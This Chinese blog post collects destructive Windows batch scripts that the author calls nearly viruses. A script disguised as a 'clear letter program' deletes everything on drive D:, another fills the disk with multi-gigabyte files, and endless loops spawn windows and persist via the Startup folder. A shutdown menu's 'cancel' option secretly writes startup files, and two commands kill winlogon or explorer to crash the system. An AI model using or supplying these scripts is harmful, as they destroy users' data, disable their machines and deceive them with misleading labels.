批处理命令之蓝屏操作

154 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

批处理学习这些命令,几乎都属于病毒,容易死机

想要体验“逝世”,最好在虚拟机里玩,看得懂就行

批处理基本语法

@echo off,关闭回显功能,也就是屏蔽过程,一般放在首行

pause,暂停

title,给批处理脚本设置标题

echo.,换行

set,在脚本中设置变量,互动赋值

set /p time=please input time:

:,定义标签名

goto,实现跳转

清理D盘数据

@echo off
color 0a
title clear letter program
echo ====================
echo clear letter program
echo if bei lanjie please
echo fangxing
echo ====================
​
pause
​
echo.
​
echo letter is cleaning....
​
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
​
ping -n 10 127.0.0.1>nul 2>nul
​
echo congratulations!!!letter clean!!!
​
pause

创建D盘文件

@echo off
color 0a
title game
​
d:
cd \ 
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys1.ini 4096000000
fsutil file createnew d:\sys2.ini 4096000000
fsutil file createnew d:\sys3.ini 4096000000
fsutil file createnew d:\sys4.ini 4096000000
fsutil file createnew d:\sys5.ini 4095000000
fsutil file createnew d:\sys6.ini 4096000000
​
pause

11.gif

不断打开命令行窗口

:d
start 
goto d

一开机就打开命令行窗口

copy down.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start
goto d

选择性关机

v1.0

@echo off
title playwithmev1.0
color 0a
​
:menu
cls
echo ===============
echo menu
echo 1.timed shutdown
echo 2.cancel timed
echo 3.exit
echo ===============
echo ===============
echo choice...
echo ===============
​
set /p num=your chioce:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo only input 1,2,3,don't input random!!!
pause
goto menu
​
:1
set /p a=please input time(unit):
shutdown -s -f -t %a%
​
goto menu
​
:2
shutdown -a
​
goto menu
​
:3
exit
​

v2.0

@echo off
title playwithmev1.0
color 0a
​
:menu
cls
echo ===============
echo menu
echo 1.timed shutdown
echo 2.cancel timed
echo 3.exit
echo ===============
echo ===============
echo choice...
echo ===============
​
set /p num=your chioce:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo only input 1,2,3,don't input random!!!
pause
goto menu
​
:1
set /p a=please input time(unit):
shutdown -s -f -t %a%
​
goto menu
​
:2
echo :a >>"%userprofile%"\「开始」菜单\程序\启动\haha1.bat
echo start >>"%userprofile%"\「开始」菜单\程序\启动\haha2.bat
echo goto >>"%userprofile%"\「开始」菜单\程序\启动\haha3.bat
​
goto menu
​
:3
exit
​

针对win2003的蓝屏命令

命令只适合win2003

ntsd -c q -pn winlogon.exe

针对win7的蓝屏命令

taskkill /im explorer.exe /f